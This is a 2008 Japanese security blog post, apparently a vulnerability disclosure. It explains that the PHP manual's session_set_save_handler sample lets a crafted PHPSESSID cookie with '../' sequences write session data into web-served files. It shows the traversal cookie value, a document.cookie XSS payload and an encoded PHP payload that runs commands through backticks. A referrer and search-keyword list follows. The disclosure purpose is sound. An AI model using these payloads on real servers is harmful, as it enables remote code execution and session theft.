| SQLインジェクション対策はおすみですか? 開発開始時点からのコンサルティングから、公開済みWebサイトの脆弱性検査、 脆弱性発見後の適切な対策まで |
2008-08-19 PHP
●[php]session_set_save_handlerのパストラバーサルで任意コマンドの実行が可能
昨日の日記(session_set_save_handlerリファレンスマニュアルのサンプルにパス・トラバーサル脆弱性 )で、PHPの公式リファレンスマニュアルに出ているsession_set_save_handlerサンプルにはパストラバーサル脆弱性があることを報告しましたが、その影響度について書き漏らしていて、影響度を過小に受け取られることに気がつきましたので補足します。
このパストラバーサルは情報漏えいよりは書き込み・破壊の影響の方が現実的というのはその通りなのですが、Web公開領域のファイルを書き換えられるというリスクを報告していなかった。ここで、HTMLやJavaScript、PHPスクリプトを書き込み、実行できるという問題があります。
以下のコード(a.php)で検証してみました。
// session_set_save_handlerのサンプルコード
// 以下は呼び出し部分
session_set_save_handler("open", "close", "read", "write", "destroy", "gc");
session_start();
$_SESSION['a'] = $_GET['a'];
echo "<body>done<body>";
?>
ご覧のように、クエリストリングaの値をそのままセッションに保存しています。非常に単純化していますが、現実のWebアプリケーションを極小化したモデルです。
ここで、Cookie PHPSESSIDの値を以下のようにセットします。b.phpの部分は、このサーバー上に存在するファイル名を指定します。
PHPSESSID=/../../../../../var/www/html/php/b.php
この状態で、以下のURLでa.phpを起動します
http://host-name/php/a.php?a=<script>alert(document.cookie);</script>
セッションデータはb.phpとして格納され、内容は以下のようになります。
a|s:40:"<script>alert(document.cookie);</script>";
すなわち、今後b.phpにアクセスしたユーザは、ブラウザ上でJavaScriptが起動されることになります。
同様にして、PHPのスクリプトを書き込むこともできます。例えば、以下のようにa.phpを呼び出します。
http://host-name/php/a.php?a=<%3Fphp+echo`find`;%3F>
%3Fは、「?」を表します。すなわち、PHPスクリプト中で、バッククォートによりfindコマンドを実行するスクリプトが書き込まれたことになります。攻撃者はこのb.phpにアクセスすることにより、findコマンドを実行でき、同様にして、ターゲットのwebサーバー上で任意のコマンドを実行できることになります。
このように、書き込み可能なパストラバーサルは極めて危険な脆弱性であり、該当するアプリケーションは直ちに対策をとることをお勧めします。
- http://www.st.ryukoku.ac.jp/~kjm/security/memo/ ×244
- http://bakera.jp/ebi/topic/3217 ×100
- http://bakera.jp/ebi ×78
- http://blog.ohgaki.net/php-session ×51
- http://www.st.ryukoku.ac.jp/~kjm/security/memo/200... ×44
- http://blog.ohgaki.net/-13 ×26
- http://blog.ohgaki.net/ ×19
- http://www.tokumaru.org/ ×18
- http://yamagata.int21h.jp/d/ ×9
- http://b.hatena.ne.jp/entry/http://blog.ohgaki.net... ×9
- http://tokumaru.org/ ×8
- http://b.hatena.ne.jp/ockeghem/ ×8
- http://www.tokumaru.org ×5
- http://tokumaru.org/was/ ×5
- http://blog.ohgaki.net/php/ ×4
- http://d.hatena.ne.jp/ripjyr/ ×4
- http://yamagata.int21h.jp/d/?date=20080819 ×4
- http://blog.ohgaki.net/?blog=7&paged=2 ×3
- http://codezine.jp/bookmark/hatena.aspx ×3
- http://b.hatena.ne.jp/entry/http://www.tokumaru.or... ×3
- http://www.tokumaru.org/d/20070717.html ×3
- http://www.tokumaru.org/JavaScript/ ×3
- http://www.tokumaru.org/d/20070924.html ×3
- http://planet.php.gr.jp/delphinus.php ×3
- http://yamagata.int21h.jp/d/?date=20080820 ×3
- http://d.hatena.ne.jp/ockeghem/ ×2
- http://ucb.clipp.in/entry/17609 ×2
- http://bakera.jp/ebi/topic ×2
- http://buzzurl.jp/entry/http://www.tokumaru.org/d/... ×2
- http://anond.hatelabo.jp/ ×2
- http://a.hatena.ne.jp/yamagata21/ ×2
- http://wassr.com/user/ockeghem ×2
- http://www.tokumaru.org/d/20080819.html ×1
- http://b.hatena.ne.jp/nilnil/favorite ×1
- http://b.hatena.ne.jp/t/セキュリティ ×1
- http://www.tokumaru.org/d/20071210.html ×1
- http://b.hatena.ne.jp/mi1kman/favorite ×1
- http://bakera.jp/ebi/2008/8/20 ×1
- http://blog.ohgaki.net/language/ ×1
- http://www.tokumaru.org/was/ ×1
- http://blog.ohgaki.net/index.php/yohgaki ×1
- http://209.85.175.104/search?q=cache:H1qBXyfgLI4J:... ×1
- http://d.hatena.ne.jp/fbis/20060524/1148449927 ×1
- http://www.st.ryukoku.ac.jp/~kjm/security/memo/ind... ×1
- http://r.hatena.ne.jp/oldriver/ ×1
- http://b.hatena.ne.jp/ockeghem/security/waf/ ×1
- http://clipp.in/history?address=http://www.tokumar... ×1
- http://reader.livedoor.com/subscribe/http://www.to... ×1
- http://d.hatena.ne.jp/ohtsuki/20080817 ×1
- http://mgw.hatena.ne.jp/?url=http://www.tokumaru.o... ×1
- http://d.hatena.ne.jp/matsuou1/ ×1
- http://209.85.175.104/search?q=cache:t4Ux8QYXLioJ:... ×1
- http://b.hatena.ne.jp/entrylist?sort=hot&of=350&th... ×1
- http://209.85.175.104/search?q=cache:H1qBXyfgLI4J:... ×1
- http://209.85.173.104/search?q=cache:Zeiqg3TjtBUJ:... ×1
- http://takagi-hiromitsu.jp/diary/20080620.html ×1
- http://d.hatena.ne.jp/ockeghem/about ×1
- http://blog.ohgaki.net/security/ ×1
- http://fastladder.com/subscribe/http://www.tokumar... ×1
- http://b.hatena.ne.jp/no_ri/favorite ×1
- http://b.hatena.ne.jp/entrylist?url=http://www.tok... ×1
- http://r.hatena.ne.jp/fm8002/セキュリティ関係/ ×1
- http://search.live.com/spresults.aspx?q=XSS対策&form... ×1
- http://b.hatena.ne.jp/entry/http://www.tokumaru.or... ×1
- http://209.85.175.104/search?q=cache:Zeiqg3TjtBUJ:... ×1
- http://a.hatena.ne.jp/SFNDS/simple?gid=411440 ×1
- http://anond.hatelabo.jp/?page=10 ×1
- http://b.hatena.ne.jp/Kanatoko/20080722 ×1
- http://clipp.in/ ×1
- http://b.hatena.ne.jp/shimooka/20080820 ×1
- http://codezine.jp/bookmark/hatena.aspx?g=ruby ×1
- http://hiroy.clipp.in/follow ×1
- http://okyuu.com/ja/tips/986 ×1
- http://209.85.175.104/search?q=cache:z5QWuD9c838J:... ×1
- http://4403.biz/mt/mt-search.cgi?tag=著作権&blog_id=1... ×1
- http://mgw.hatena.ne.jp/?url=http://www.tokumaru.o... ×1
- http://www.st.ryukoku.ac.jp/~kjm/security/memo/?08... ×1
- http://cocoiti.clipp.in/ ×1
- http://d.hatena.ne.jp/hasegawayosuke/?of=5 ×1
- mod_imagefight ×17 / SQL エスケープ ×7 / WAF ×6 / SQLインジェクション エスケープ ×4 / session_set_save_handler 脆弱性 ×4 / session_set_save_handler ×4 / PHPSESSID サニタイジング ×3 / postgresql 正規表現 エスケープ ×3 / SQLSERVER SQL インジェクション ×3 / php session_set_save_handler ×3 / php コマンド 脆弱性 ×3 / php クエリーストリング ×2 / エスケープ ×2 / PHPSESSID 任意の値 ×2 / sql エスケープ ×2 / 画像 XSS ×2 / SQL Server エスケープ文字 ×2 / javascript ラベル ×2 / Oracle メモリ バグ ORA-01722 ×2 / Barracuda Web Site Firewall 安い ×2 / 文字種チェック ×2 / php コマンドの実行 ×1 / phpのパス ×1 / php コマンド 実行 find ×1 / session_set_save_handler サンプルコード ×1 / session_set_save_handler 実行 ×1 / PHP javascript document.cookie PHPSESSID ×1 / php find コマンド ×1 / session_set_save_handler 徳丸 ×1 / sql セミコロン エスケープ ×1 / 文字列 画像 判別 php ×1 / Session Adaption ×1 / html 任意のコマンドを実行 ×1 / エスケープシーケンス sql ×1 / SQLコマンドの実行 ×1 / 変換 SQL 値 ×1 / SQL server update 2つ ×1 / PHP コマンドパス ×1 / php スクリプトの実行 ×1 / SQLの「‘」はエスケープすること ×1 / PHP session_set_save_handler ×1 / SQLインジェクション シングルクォート ×1 / php URL上のファイルを実行 ×1 / xss対策 サニタイズ ×1 / PHPSESSID サニタイズ ×1 / phpからコマンドの実行 ×1 / php コマンド ×1 / SQLサーバ ×1 / PHP XSS ×1 / php 数値型 $_POST ×1 / php コマンドで実行 ×1 / php 自ファイルのパス ×1 / php スクリプト 日記 ×1 / content-type bmp ×1 / php サーバー上で実行 ×1 / php session gc ×1 / session_set_save_handler php ×1 / エスケープ文字 SQL ×1 / パストラバーサル ×1 / PHP セッション管理 サンプル ×1 / html php 実行 ×1 / PHPSESSID Cookie パス ×1 / sql 正規表現 sqlserver ×1 / エスケープシーケンス mysql 空白 ×1 / javascript else try ×1 / 正規表現 インジェクション ×1 / session_set_save_handler cookie ×1 / session_set_save_handler gc ×1 / HTML エスケープ ×1 / for 分 javascript break ×1 / html input 入力値 制限 数値 ×1 / html コマンドの実行 ×1 / sql like escape mysql ×1 / php findコマンド ×1 / パストラバーサル 対策 ×1 / sql server SQL ' エスケープ文字 ×1 / php コマンド sql ×1 / sql where句 escape ×1 / コマンド php実行 ×1 / SQL 暗黙の型変換 ×1 / プログラム 100まで 3の倍数 5の倍数 ×1 / 徳丸 浩 ×1 / 日記 PHP 画像 ×1 / SQLインジェクション 文字変換 ×1 / PHP コマンド 任意 ×1 / HTML コマンドの実行 ×1 / document.cookie alert php ×1 / phpsessid cookie パス ×1 / ウイルス対策 ホワイトリスト ×1 / PHP 木 トラバーサル ×1 / SQL エスケープ _ ×1 / php パストラバーサル ×1 / SQL エスケープ & ×1 / javascript break if ×1 / session_set_save_handler 携帯サイト ×1 / switch break ×1 / SQL 複文 ×1 / mySQL DB 調査 ×1 / javascript switch ×1 / session_set_save_handler php cookie ×1
| SQLインジェクション対策はおすみですか? 開発開始時点からのコンサルティングから、公開済みWebサイトの脆弱性検査、 脆弱性発見後の適切な対策まで |